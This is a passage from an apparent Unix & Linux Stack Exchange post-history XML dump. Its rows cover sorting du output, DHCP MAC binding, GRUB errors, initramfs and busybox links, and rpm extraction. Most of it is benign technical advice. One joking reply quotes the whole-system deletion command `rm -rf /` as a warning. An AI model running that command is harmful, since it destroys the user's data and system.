&quot;;&#xD;&#xA;            } else {&#xD;&#xA;                    $txt = &quot; &quot; x ($len - length($txt)) . $txt;&#xD;&#xA;            }&#xD;&#xA;            return $txt;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    open(DF,&quot;du -ks @ARGV | sort -n |&quot;);&#xD;&#xA;    while (&lt;DF&gt;) {&#xD;&#xA;            @line = split;&#xD;&#xA;            print &amp;trimlengthleft(&amp;to_human_readable($line[0]),5),&quot; &quot;; # size&#xD;&#xA;            print &amp;trimlengthright($line[1],70),&quot;\n&quot;; # directory&#xD;&#xA;    }&#xD;&#xA;    close DF;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10265" PostHistoryTypeId="2" PostId="4684" RevisionGUID="181fa518-6f5c-44df-8a19-683c5e5c9a70" CreationDate="2010-12-09T12:39:07.690" UserId="2180" Text="The [dhcp.conf file][1] has the ability to specify group parameters. In this group you can specify specific hardware addresses.&#xD;&#xA;&#xD;&#xA;From the man page:&#xD;&#xA;&#xD;&#xA;&gt;     group {&#xD;&#xA;&gt;       filename &quot;Xncd19r&quot;;&#xD;&#xA;&gt;       next-server ncd-booter;&#xD;&#xA;&gt;       host ncd1 { hardware ethernet 0:c0:c3:49:2b:57; }&#xD;&#xA;&gt;       host ncd4 { hardware ethernet 0:c0:c3:80:fc:32; }&#xD;&#xA;&gt;       host ncd8 { hardware ethernet 0:c0:c3:22:46:81; }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/dhcpd.conf" />
  <row Id="10267" PostHistoryTypeId="5" PostId="4682" RevisionGUID="9b1c0735-0326-4f29-af21-b93778ca41ea" CreationDate="2010-12-09T12:52:00.520" UserId="29" Comment="du -sh | sort -h won't do much of anything... using an asterisk makes this command more useful" Text="You can use `du -sh *| sort -h`. This tells sort that the input is the human-readable format." />
  <row Id="10268" PostHistoryTypeId="6" PostId="4680" RevisionGUID="f48e596c-1a0a-498b-aba0-53c983a9650a" CreationDate="2010-12-09T12:54:54.967" UserId="29" Comment="add tags" Text="érhelàédhcpàédhcpdà" />
  <row Id="10269" PostHistoryTypeId="6" PostId="4676" RevisionGUID="f3a3d7e7-eaa0-452c-a0fd-82a30acbb111" CreationDate="2010-12-09T12:56:53.903" UserId="29" Comment="remove rhel, add shell tags" Text="éshellà" />
  <row Id="10270" PostHistoryTypeId="2" PostId="4686" RevisionGUID="4fd7984c-9929-4401-94e6-eb4509afa52e" CreationDate="2010-12-09T13:04:51.913" UserId="2827" Text="Try using the -k flag to count 1K blocks intead of using human-readable.  Then, you have a common unit and can easily do a numeric sort.&#xD;&#xA;&#xD;&#xA;    du -ck | sort -n&#xD;&#xA;&#xD;&#xA;You don't explictly require human units, but if you did, then there are a bunch of ways to do it.  Many seem to use the 1K block technique above, and then make a second call to du.&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/62411/how-can-i-sort-du-h-output-by-size" />
  <row Id="10271" PostHistoryTypeId="2" PostId="4687" RevisionGUID="3453d0f4-f631-4e27-907b-a3a7d99bf736" CreationDate="2010-12-09T13:17:23.317" UserId="29" Text="I want to mention [Karbon](http://www.calligra-suite.org/karbon/) formerly [Karbon 14](http://www.koffice.org/karbon/) for KDE." />
  <row Id="10272" PostHistoryTypeId="5" PostId="4687" RevisionGUID="fd9bc8da-9a72-43d9-baeb-d172771d071e" CreationDate="2010-12-09T13:31:04.963" UserId="29" Comment="add punctuation" Text="I want to mention [Calligra Suite's](http://www.calligra-suite.org/) [Karbon](http://www.calligra-suite.org/karbon/), formerly [Koffice](http://www.koffice.org) [Karbon 14](http://www.koffice.org/karbon/), for [KDE](http://kde.org/). Fits in nicely with Any KDE/QT based desktop, in contrast to other Vector tools, though I'm not sure that it currently competes on features, or stability, but you'd have to try it to find that out.&#xD;&#xA;&#xD;&#xA;To quote their features page&#xD;&#xA;&#xD;&#xA;* Loading support for ODG, SVG, WPG, WMF, EPS/PS&#xD;&#xA;* Writing support for ODG, SVG, PNG, PDF, WMF&#xD;&#xA;* Customizable user interface with freely placable toolbars and dockers&#xD;&#xA;* Layer docker for easy handling of complex documents including preview thumbnails, support for grouping shapes via drag and drop, controlling visibility of shapes or locking&#xD;&#xA;* Advanced path editing tool with great on-canvas editing capabilies&#xD;&#xA;* Various drawing tools for creating path shapes including a draw path tool, a pencil tool as well as a calligraphy drawing tool&#xD;&#xA;* Gradient and pattern tools for easy on-canvas editing of gradient and pattern styles&#xD;&#xA;* Top notch snapping facilities for guided drawing and editing (e.g. snapping to grid, guide lines, path nodes, bounding boxes, orthogonal positions, intersections of path shapes or extensions of lines and paths)&#xD;&#xA;* Includes many predefined shapes including basic shapes like stars, circle/ellipse, rectangle, image&#xD;&#xA;* Artistic text shape with support for following path outlines (i.e. text on path)&#xD;&#xA;Complex path operations and effects like boolean set operations, path flattening, rounding and refining as well as whirl/pinch effects&#xD;&#xA;* Extensible by writing plugins for new tools, shapes and dockers" />
  <row Id="10273" PostHistoryTypeId="2" PostId="4688" RevisionGUID="e1e1659e-c79e-4714-9f7d-cbbda64a6aac" CreationDate="2010-12-09T13:45:31.243" UserId="2180" Text="If you don't have `sort -h` you can do this:&#xD;&#xA;&#xD;&#xA;    du -sh * | sed 's/\([[:digit:]]\)\t/\1B\t/' | sed 's/\(.\t\)/\t\1/' | sed 's/G\t/Z\t/' | sort -n -k 2d,2 -k 1n,1 | sed 's/Z\t/G\t/'&#xD;&#xA;&#xD;&#xA;This gets the du list, separates the suffix, and sorts using that. Since there is no suffix for &lt;1K, the first sed adds a B (for byte). The second sed adds a delimiter between the digit and the suffix. The third sed converts G to Z so that it's bigger than M; if you have terabyte files, you'll have to convert G to Y and T to Z. Finally, we sort by the two columns, then we replace the G suffix." />
  <row Id="10274" PostHistoryTypeId="5" PostId="4680" RevisionGUID="16debb5c-0676-4fc3-a518-4df337696285" CreationDate="2010-12-09T14:03:41.877" UserId="1294" Comment="hoisted clarification into question body, cleaned up prose, omitted greeting and closing" Text="I have configured a DHCP server on Linux. My goal is to map client IP address with their MAC address in such a way that no &quot;unregistered&quot; client machine gets a response from the DHCP server. That is, I would like to give them Internet access one by one through IP and MAC binding.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10275" PostHistoryTypeId="5" PostId="4682" RevisionGUID="dfa6aa8c-4978-4416-86e9-a934533ef300" CreationDate="2010-12-09T15:37:38.050" UserId="2180" Comment="Note about version." Text="You can use `du -sh * | sort -h`. This tells sort that the input is the human-readable format.&#xD;&#xA;&#xD;&#xA;This feature [was added recently to GNU Core Utilities 7.5 in Aug 2009][1], so many distributions do not yet have it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://savannah.gnu.org/patch/?func=detailitem&amp;item_id=2565" />
  <row Id="10276" PostHistoryTypeId="2" PostId="4689" RevisionGUID="48a0c0b1-a880-4e41-b14b-9f58cfd9cbe2" CreationDate="2010-12-09T15:51:39.637" UserId="1294" Text="As noted by Warren and Shawn, your question seems to imply that preventing address assignment to unregistered machines is intended to keep them off the net. &#xD;&#xA;&#xD;&#xA;You cannot increase security this way as an machine can either:&#xD;&#xA;&#xD;&#xA;  1. find a &quot;trusted&quot; MAC address and pretend to have that MAC to get an IP address from the DHCP server, or&#xD;&#xA;  2. Just pick its own IP address and skip DHCP completely&#xD;&#xA;&#xD;&#xA;More generally, you cannot enforce exclusion at the IP layer as it has no mechanism designed to do this. If you really need to enforce exclusion at the Internet Layer you need to use something like [IPSec][1] which is far more complicated than DHCP. &#xD;&#xA;&#xD;&#xA;Far more common is to secure access at the [Session Layer][2] or above; for example [SSH][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/IPsec&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Session_Layer&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Secure_Shell" />
  <row Id="10277" PostHistoryTypeId="2" PostId="4690" RevisionGUID="f4eef2dc-b2eb-4fbb-ab79-49fa7608d060" CreationDate="2010-12-09T16:24:42.543" UserId="3019" Text="I'm not sure exactly how my EEE PC got to this point, but I have Backtrack (an Ubuntu-based distro) on the SD card, and a few different Ubuntu LiveUSB distros on different USB memory sticks.  If both the SD card and any of the USB sticks are present, the system will present a GRUB boot menu which seems to be the built-in EEE PC one--it has the &quot;reset to factory defaults&quot; option--but all options will boot Backtrack, even after claiming to reset to factory defaults.  &#xD;&#xA;&#xD;&#xA;If either the USB stick, the SD card, or both are missing, I get a Grub error 21 at boot.  Not sure quite how to un-hose this; I'd just like to put a conventional netbook Ubuntu on the built-in SSD, but I can't trivially do that from Backtrack 4." />
  <row Id="10278" PostHistoryTypeId="1" PostId="4690" RevisionGUID="f4eef2dc-b2eb-4fbb-ab79-49fa7608d060" CreationDate="2010-12-09T16:24:42.543" UserId="3019" Text="Grub error 21 unless both sd card and live-usb are present" />
  <row Id="10279" PostHistoryTypeId="3" PostId="4690" RevisionGUID="f4eef2dc-b2eb-4fbb-ab79-49fa7608d060" CreationDate="2010-12-09T16:24:42.543" UserId="3019" Text="éubuntuàégrubàélaptopà" />
  <row Id="10280" PostHistoryTypeId="5" PostId="4673" RevisionGUID="5025a8b4-551a-4f7c-9793-442a60c4fef2" CreationDate="2010-12-09T18:10:12.003" UserId="2180" Comment="add dash responses" Text="For thoroughness and the sake of searchers, here is what these do...&#xD;&#xA;It is a community wiki, so feel free to add other shell's equivalents (obviously, $BASH_SOURCE will be different).&#xD;&#xA;&#xD;&#xA;test.sh:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    called=$_&#xD;&#xA;    echo $called&#xD;&#xA;    echo $_&#xD;&#xA;    echo $0&#xD;&#xA;    echo $BASH_SOURCE&#xD;&#xA;&#xD;&#xA;test2.sh:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    source ./test.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Bash:&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    $./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test.sh&#xD;&#xA;    $ sh ./test2.sh&#xD;&#xA;    /bin/sh&#xD;&#xA;    /bin/sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test.sh&#xD;&#xA;&#xD;&#xA;Dash&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;    $./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    &#xD;&#xA;    $/bin/sh ./test2.sh&#xD;&#xA;    /bin/sh&#xD;&#xA;    /bin/sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;Replacing $BASH_SOURCE with $DASH_SOURCE resulted in the same thing." />
  <row Id="10281" PostHistoryTypeId="6" PostId="634" RevisionGUID="70078782-8f9c-441b-ab76-ab732b9ac00b" CreationDate="2010-12-09T18:58:41.043" UserId="688" Comment="edited tags" Text="épackagingàérpmàédebà" />
  <row Id="10282" PostHistoryTypeId="2" PostId="4691" RevisionGUID="85a6197c-a672-4193-9605-adb073875101" CreationDate="2010-12-09T19:06:00.190" UserId="885" Text="If you don't have a [recent version of GNU coreutils](http://unix.stackexchange.com/questions/4681/how-do-you-sort-du-output-by-size/4682#4682), you can call `du` without `-h` to get sortable output, and produce human-friendly output with a little postprocessing. This has the advantage of working even if your version of `du` doesn't have the `-h` flag. &#xD;&#xA;&#xD;&#xA;    du -k | sort -n | awk '&#xD;&#xA;        function human(x) {&#xD;&#xA;            s=&quot;kMGTEPYZ&quot;;&#xD;&#xA;            while (x&gt;=1000 &amp;&amp; length(s)&gt;1)&#xD;&#xA;                {x/=1024; s=substr(s,2)}&#xD;&#xA;            return int(x+0.5) substr(s,1,1)&#xD;&#xA;        }&#xD;&#xA;        {gsub(/^[0-9]+/, human($1)); print}'&#xD;&#xA;&#xD;&#xA;If you want SI suffixes (i.e. multiples of 1000 rather than 1024), change 1024 to 1000 in the `while` loop body. (Note that that 1000 in the condition is intended, so that you get e.g. `1M` rather than `1000k`.)&#xD;&#xA;&#xD;&#xA;If your `du` has an option to display sizes in bytes (e.g. `-b` or `-B 1` — note that this may have the side effect of counting actual file sizes rather than disk usage), add a space to the beginning of `s` (i.e. `s=&quot; kMGTEPYZ&quot;;`), or add `if (x&lt;1000) {return x} else {x/=1024}` at the beginning of the `human` function.&#xD;&#xA;&#xD;&#xA;Displaying a decimal digit for numbers in the range 1–10 is left as an exercise to the reader.&#xD;&#xA;" />
  <row Id="10283" PostHistoryTypeId="2" PostId="4692" RevisionGUID="562b1558-17ae-4de7-b984-c8c005777943" CreationDate="2010-12-09T19:29:48.493" UserId="2851" Text="On Windows, many command line options are / (eg. `dir /?`) so saying dash might too easily be confused with slash.... which is exactly like a lot of commands on Windows when you've installed some useful unix-y command line tools - I keep forgetting which ones use / and which use - !&#xD;&#xA;" />
  <row Id="10284" PostHistoryTypeId="2" PostId="4693" RevisionGUID="edc1fa9c-4b94-4ab5-9e28-f928bac579e3" CreationDate="2010-12-09T19:35:32.010" UserId="688" Text="Without using any other hardware, I want to connect two machines that have wifi, so that I can transfer files between them, for example." />
  <row Id="10285" PostHistoryTypeId="1" PostId="4693" RevisionGUID="edc1fa9c-4b94-4ab5-9e28-f928bac579e3" CreationDate="2010-12-09T19:35:32.010" UserId="688" Text="How to connect two machines via wifi and no other hardware?" />
  <row Id="10286" PostHistoryTypeId="3" PostId="4693" RevisionGUID="edc1fa9c-4b94-4ab5-9e28-f928bac579e3" CreationDate="2010-12-09T19:35:32.010" UserId="688" Text="éwifià" />
  <row Id="10287" PostHistoryTypeId="2" PostId="4694" RevisionGUID="47d00d80-812d-4e8b-bcbb-ee3f00455abc" CreationDate="2010-12-09T19:45:26.943" UserId="1571" Text="Take a look at setting up an [Ad-hoc][1] connect&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://compnetworking.about.com/od/wireless/ht/setupadhocwifi.htm" />
  <row Id="10288" PostHistoryTypeId="2" PostId="4695" RevisionGUID="fa2b7ad4-5b42-4888-9d8b-e2dbb4c8d1e9" CreationDate="2010-12-09T19:48:34.610" UserId="1297" Text="Personally, I pronounce `rm -rf /` as &quot;NOOOO!!! Don't do it!!!!&quot;&#xD;&#xA;&#xD;&#xA;;-)" />
  <row Id="10289" PostHistoryTypeId="5" PostId="4671" RevisionGUID="d38daa5e-5ccb-4273-ba08-9a6bf01acf0c" CreationDate="2010-12-09T20:48:12.060" UserId="885" Comment="mention Mac Ports (courtesy of Stefan Lasiewski); mention rpm2cpio script" Text="You can install rpm through [Darwin Ports](http://rpm.darwinports.com/) or [Fink](http://pdb.finkproject.org/pdb/package.php/rpm5) or [Mac Ports](http://trac.macports.org/browser/trunk/dports/sysutils/rpm/Portfile) or even a [Darwin port, rpm4darwin](http://rpm4darwin.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;To extract files from an rpm package without installing it, use the companion utility `rpm2cpio`, e.g.&#xD;&#xA;&#xD;&#xA;    rpm2cpio foo.rpm | cpio -i -d &#xD;&#xA;&#xD;&#xA;There's also a portable [`rpm2cpio`](http://www.redhat.com/archives/rpm-list/2003-June/msg00367.html) script if you don't want or can't get the version that's bundled with the `rpm` utility (the script may not work with older or newer versions of the rpm format though).&#xD;&#xA;" />
  <row Id="10290" PostHistoryTypeId="2" PostId="4696" RevisionGUID="5865482b-8f37-4bbb-bd32-2f34adc0571f" CreationDate="2010-12-09T21:07:45.587" UserId="3023" Text="I have had no problem installing Ubuntu desktop from a USB, but the server version has given me some trouble. I think it has to do with the way GRUB handles drivers. When the server install tries to look from the CD it can't find it.&#xD;&#xA;&#xD;&#xA;I use the following to load it:&#xD;&#xA;&#xD;&#xA;    find --set-root /ISO/ubuntu-10.10-server-i386.iso&#xD;&#xA;    map /ISO/ubuntu-10.10-server-i386.iso (0xff)&#xD;&#xA;    map --hook&#xD;&#xA;    root (0xff)&#xD;&#xA;    kernel /install/vmlinuz file=/cdrom/preseed/ubuntu-server.seed boot=install iso-scan/filename=/ISO/ubuntu-10.10-server-i386.iso splash&#xD;&#xA;    initrd /install/initrd.gz&#xD;&#xA;&#xD;&#xA;Is there any way to pass the location of the ISO to Ubuntu?" />
  <row Id="10291" PostHistoryTypeId="1" PostId="4696" RevisionGUID="5865482b-8f37-4bbb-bd32-2f34adc0571f" CreationDate="2010-12-09T21:07:45.587" UserId="3023" Text="Install Ubuntu 10.10 server from USB (with GRUB4DOS)" />
  <row Id="10292" PostHistoryTypeId="3" PostId="4696" RevisionGUID="5865482b-8f37-4bbb-bd32-2f34adc0571f" CreationDate="2010-12-09T21:07:45.587" UserId="3023" Text="éubuntuàéinstallàégrubàéserverà" />
  <row Id="10293" PostHistoryTypeId="2" PostId="4697" RevisionGUID="9cbff470-8bc5-4ce0-845e-e62d17dba4d0" CreationDate="2010-12-09T21:26:37.823" UserId="2969" Text="&gt; I don't have spare space anywhere to&#xD;&#xA;&gt; transfer the files to and then just&#xD;&#xA;&gt; re-format the drive so I need a tool,&#xD;&#xA;&gt; or tool chain, to make it on the disk&#xD;&#xA;&gt; itself.&#xD;&#xA;&#xD;&#xA;As others have said, fiddling with partitions has a small but significant risk of data loss/corruption. If you've copied half your data to ext3 and then either the shrink ntfs or enlarge ext3 has a problem, you lose half you data! The risk is small but the damage could be large.&#xD;&#xA;&#xD;&#xA;If your data is valuable to you you should *already* have backups. But shrinking and growing partitions without a backup is just asking for trouble.&#xD;&#xA;&#xD;&#xA;Hard drives are getting ever larger and cheaper. Go buy yourself a new one. (You're switching to Linux. You deserve it.) Unless you have a *lot* of data already you may be able to copy all your data onto the new drive. It might be wise to keep the old drives as a backup of your data.&#xD;&#xA;&#xD;&#xA;If you have some really small partitions it may also be useful to burn the data to a DVD.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10294" PostHistoryTypeId="2" PostId="4698" RevisionGUID="fc162f58-4bcb-4e87-ae9e-c6b43be1b2b9" CreationDate="2010-12-09T21:59:02.970" UserId="2996" Text="Having been directed to initramfs by an answer to [my earlier question][1] (thanks!), I've been working on getting initramfs working. I can now boot the kernel and drop to a shell prompt, where I can execute busybox commands, which is awesome.&#xD;&#xA;&#xD;&#xA;Here's where I'm stuck-- there are (at least) two methods of generating initramfs images:&#xD;&#xA;&#xD;&#xA; 1. By passing the kernel a path to a prebuilt directory hierarchy to be compressed&#xD;&#xA; 2. By passing the kernel the name of a file that lists the files to be included.&#xD;&#xA;&#xD;&#xA;The second method seemed a little cleaner, so I've been using that.&#xD;&#xA;&#xD;&#xA;Just for reference, here's my file list so far:&#xD;&#xA;&#xD;&#xA;    dir /dev 755 0 0&#xD;&#xA;    nod /dev/console 644 0 0 c 5 1&#xD;&#xA;    nod /dev/loop0 644 0 0 b 7 0&#xD;&#xA;    dir /bin 755 1000 1000&#xD;&#xA;    slink /bin/sh busybox 777 0 0&#xD;&#xA;    file /bin/busybox /home/brandon/rascal-initramfs/bin/busybox 755 0 0&#xD;&#xA;    dir /proc 755 0 0&#xD;&#xA;    dir /sys 755 0 0&#xD;&#xA;    dir /mnt 755 0 0&#xD;&#xA;    file /init /home/brandon/rascal-initramfs/init.sh 755 0 0&#xD;&#xA;&#xD;&#xA;Unfortunately, I have learned that busybox requires a long list of links to serve as aliases to all of its different commands. Is there a way to generate the list of all these commands so I can add it to my file list?&#xD;&#xA;&#xD;&#xA;Alternatively, I could switch to method 1, using the prebuilt directory hierarchy, but I'm not sure how to make the /dev nodes in that case.&#xD;&#xA;&#xD;&#xA;Both of these paths seem messy. Is there an elegant solution to this?&#xD;&#xA;&#xD;&#xA;(If someone with more rep could add these tags, I would be obliged: initramfs, busybox.)&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4660/debugging-ethernet-before-nfs-boot" />
  <row Id="10295" PostHistoryTypeId="1" PostId="4698" RevisionGUID="fc162f58-4bcb-4e87-ae9e-c6b43be1b2b9" CreationDate="2010-12-09T21:59:02.970" UserId="2996" Text="How to generate initramfs image with busybox links?" />
  <row Id="10296" PostHistoryTypeId="3" PostId="4698" RevisionGUID="fc162f58-4bcb-4e87-ae9e-c6b43be1b2b9" CreationDate="2010-12-09T21:59:02.970" UserId="2996" Text="ébootà" />
  <row Id="10297" PostHistoryTypeId="6" PostId="4698" RevisionGUID="319f8ae9-b388-4793-9bbc-3ad821c60707" CreationDate="2010-12-09T22:12:00.100" UserId="885" Comment="edited tags" Text="élinuxökernelàéinitramfsàébusyboxàécpioà" />
  <row Id="10298" PostHistoryTypeId="2" PostId="4699" RevisionGUID="5a641e3a-47cd-4149-8353-66bd3b77e925" CreationDate="2010-12-09T22:24:15.997" UserId="885" Text="It's not the kernel that's generating the [initramfs](http://www.kernel.org/doc/Documentation/filesystems/ramfs-rootfs-initramfs.txt), it's [cpio](http://www.gnu.org/software/cpio/manual/cpio.html). So what you're really looking for is a way to build a cpio archive that contains devices, symbolic links, etc.&#xD;&#xA;&#xD;&#xA;Your method 2 uses `usr/gen_init_cpio` in the kernel source tree to build the cpio archive during the kernel build. That's indeed a good way of building a cpio archive without having to populate the local filesystem first (which would require being root to create all the devices, or using fakeroot or a FUSE filesystem which I'm not sure has been written already).&#xD;&#xA;&#xD;&#xA;All you're missing is generating the input file to `gen_init_cpio` as a build step. E.g. in shell:&#xD;&#xA;&#xD;&#xA;    INITRAMFS_SOURCE_DIR=/home/brandon/rascal-initramfs&#xD;&#xA;    exec &gt;initramfs_source.txt&#xD;&#xA;    echo &quot;dir /bin 755 0 0&quot;&#xD;&#xA;    echo &quot;file /bin/busybox $INITRAMFS_SOURCE_DIR/bin/busybox 755 0 0&quot;&#xD;&#xA;    for x in sh ls cp …; do echo &quot;slink /bin/$x busybox 777 0 0&quot; done&#xD;&#xA;    # etc …&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10299" PostHistoryTypeId="5" PostId="3312" RevisionGUID="cefccc58-1020-43aa-bea9-5b4673700106" CreationDate="2010-12-09T22:24:44.607" UserId="73" Comment="deleted 193 characters in body" Text="The best tool I found for resizing ntfs, ever, was partition magic, and unlike gparted it could move the partition on either side. Unfortunately it was discontinued when Symantec acquired PowerQuest, so it might be difficult to find a copy, and its ext supports sucks (only because it hasn't been updated in years). I then recommend making your ext partitions *before* the ntfs partition, and use gparted to grow the ext partition, and partition magic to shrink the ntfs partition, from windows.&#xD;&#xA;" />
  <row Id="10300" PostHistoryTypeId="2" PostId="4700" RevisionGUID="7a8ff26a-36ef-4510-9cc9-d43cbc33ba6a" CreationDate="2010-12-09T22:26:32.717" UserId="305" Text="If you are in the busybox shell (ash) you don't need to worry about aliases as they will be run as commands by default IIRC. Anyway `busybox --help` gives list of supported commands. In my case they are:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    % busybox --help&#xD;&#xA;    BusyBox v1.17.4 (2010-11-25 12:49:55 GMT) multi-call binary.&#xD;&#xA;    Copyright (C) 1998-2009 Erik Andersen, Rob Landley, Denys Vlasenko&#xD;&#xA;    and others. Licensed under GPLv2.&#xD;&#xA;    See source distribution for full notice.&#xD;&#xA;    &#xD;&#xA;    Usage: busybox [function] [arguments]...&#xD;&#xA;       or: function [arguments]...&#xD;&#xA;    &#xD;&#xA;    	BusyBox is a multi-call binary that combines many common Unix&#xD;&#xA;    	utilities into a single executable.  Most people will create a&#xD;&#xA;    	link to busybox for each function they wish to use and BusyBox&#xD;&#xA;    	will act like whatever it was invoked as.&#xD;&#xA;    &#xD;&#xA;    Currently defined functions:&#xD;&#xA;    	[, [[, acpid, addgroup, adduser, adjtimex, ar, arp, arping, ash, awk,&#xD;&#xA;    	basename, bb, bbconfig, bbsh, beep, blkid, bootchartd, brctl, bunzip2,&#xD;&#xA;    	bzcat, bzip2, cal, cat, catv, chat, chattr, chgrp, chmod, chown,&#xD;&#xA;    	chpasswd, chpst, chroot, chrt, chvt, cksum, clear, cmp, comm, conspy,&#xD;&#xA;    	cp, cpio, crond, cryptpw, cttyhack, cut, date, dd, deallocvt, delgroup,&#xD;&#xA;    	deluser, depmod, devmem, df, dhcprelay, diff, dirname, dmesg,&#xD;&#xA;    	dnsdomainname, dos2unix, dpkg-deb, du, dumpkmap, dumpleases, echo, ed,&#xD;&#xA;    	egrep, eject, env, envdir, envuidgid, ether-wake, expand, expr, false,&#xD;&#xA;    	fbset, fdflush, fdformat, fdisk, fgconsole, fgrep, find, findfs,&#xD;&#xA;    	flash_eraseall, flash_lock, flash_unlock, flashcp, flock, free,&#xD;&#xA;    	freeramdisk, fsck, fsck.minix, fsync, ftpd, fuser, getopt, getty, grep,&#xD;&#xA;    	gunzip, gzip, halt, hd, hdparm, head, hexdump, hostname, httpd,&#xD;&#xA;    	hwclock, id, ifconfig, ifdown, ifenslave, ifplugd, ifup, init, insmod,&#xD;&#xA;    	install, ionice, ip, ipaddr, ipcrm, ipcs, iplink, iproute, iprule,&#xD;&#xA;    	iptunnel, kbd_mode, kill, killall, killall5, klogd, last, length, less,&#xD;&#xA;    	linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login,&#xD;&#xA;    	logread, losetup, lpq, lpr, ls, lsattr, lsmod, lspci, lsusb, lzcat,&#xD;&#xA;    	lzma, lzop, lzopcat, makedevs, makemime, man, md5sum, mdev, mesg,&#xD;&#xA;    	microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2, mkfs.minix,&#xD;&#xA;    	mkfs.reiser, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo,&#xD;&#xA;    	modprobe, more, mount, mountpoint, mt, mv, nameif, nc, netstat, nice,&#xD;&#xA;    	nmeter, nohup, nslookup, ntpd, openvt, passwd, patch, pgrep, pidof,&#xD;&#xA;    	ping, ping6, pipe_progress, pivot_root, pkill, popmaildir, poweroff,&#xD;&#xA;    	printenv, printf, ps, pscan, pwd, raidautorun, rdate, rdev, readahead,&#xD;&#xA;    	readlink, readprofile, realpath, reboot, reformime, renice, reset,&#xD;&#xA;    	resize, rev, rm, rmdir, rmmod, route, rtcwake, run-parts, runlevel,&#xD;&#xA;    	runsv, runsvdir, rx, script, scriptreplay, sed, sendmail, seq, setarch,&#xD;&#xA;    	setconsole, setfont, setkeycodes, setlogcons, setsid, setuidgid, sh,&#xD;&#xA;    	sha1sum, sha256sum, sha512sum, showkey, sleep, smemcap, softlimit,&#xD;&#xA;    	sort, split, start-stop-daemon, stat, strings, stty, su, sum, sv,&#xD;&#xA;    	svlogd, swapoff, swapon, switch_root, sync, sysctl, syslogd, tac, tail,&#xD;&#xA;    	tar, tee, telnet, telnetd, test, tftp, tftpd, time, timeout, top,&#xD;&#xA;    	touch, tr, traceroute, traceroute6, true, tty, ttysize, tunctl,&#xD;&#xA;    	tune2fs, ubiattach, ubidetach, udhcpc, udhcpd, umount, uname,&#xD;&#xA;    	uncompress, unexpand, uniq, unix2dos, unlzma, unlzop, unxz, unzip,&#xD;&#xA;    	uptime, usleep, vconfig, vi, vlock, volname, wall, watch, watchdog, wc,&#xD;&#xA;    	wget, which, who, whoami, xargs, xz, xzcat, yes, zcat, zcip&#xD;&#xA;&#xD;&#xA;In case of first method you create by `mknod(1)` command. For example:&#xD;&#xA;&#xD;&#xA;    # mknod /my/dir/with/initrd/dev/console -m 644 c 5 0&#xD;&#xA;" />
  <row Id="10301" PostHistoryTypeId="2" PostId="4701" RevisionGUID="9fcfd17f-71db-45ed-b4e5-8c3e4561c1c2" CreationDate="2010-12-09T22:33:06.760" UserId="4" Text="Here's what I use on non-GNU systems. I borrowed the idea from [www.geekology.co.za/][1], and still adapting it to my needs. This is still a work in progress (As in, I was working on this on the train this morning.):&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;        # FreeBSD &amp; Mac use '-I' to ignore files&#xD;&#xA;        DU_OPTS=&quot;-I . -I ..&quot;&#xD;&#xA;        DU_FILES=&quot;* .*&quot;&#xD;&#xA;        du -cks -x $DU_OPTS $DU_FILES | sort -n | while read size fname; do&#xD;&#xA;            for unit in k M G T P E Z Y; do&#xD;&#xA;                if [ $size -lt 1024 ]; then&#xD;&#xA;                    echo -e &quot;${size}${unit}\t${fname}&quot;&#xD;&#xA;                    break&#xD;&#xA;                fi&#xD;&#xA;                size=$((size/1024))&#xD;&#xA;            done&#xD;&#xA;        done&#xD;&#xA;        } &gt; .ducks &amp;&amp; tail .ducks&#xD;&#xA;        ;;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geekology.co.za/blog/2009/06/checking-directory-sizes-on-bash-command-line/" />
  <row Id="10302" PostHistoryTypeId="5" PostId="4701" RevisionGUID="32e1529c-68e7-45f4-81a9-9c73e1b5d951" CreationDate="2010-12-09T22:46:15.600" UserId="4" Comment="added 114 characters in body; added 119 characters in body; deleted 4 characters in body; deleted 124 characters in body; added 34 characters in body" Text="Here's what I use on Ubuntu 10.04, CentOS 5.5, FreeBSD and Mac OS X.&#xD;&#xA;&#xD;&#xA;I borrowed the idea from [www.geekology.co.za/][1] and [earthinfo.org][2], as well as the infamous [ducks][3] from &quot;Linux Server Hacks&quot; by O'Reilly. I am still adapting it to my needs. This is still a work in progress (As in, I was working on this on the train this morning.):&#xD;&#xA;&#xD;&#xA;    _ducks () {&#xD;&#xA;        du -cks -x | sort -n | while read size fname; do&#xD;&#xA;            for unit in k M G T P E Z Y; do&#xD;&#xA;                if [ $size -lt 1024 ]; then&#xD;&#xA;                    echo -e &quot;${size}${unit}\t${fname}&quot;&#xD;&#xA;                    break&#xD;&#xA;                fi&#xD;&#xA;                size=$((size/1024))&#xD;&#xA;            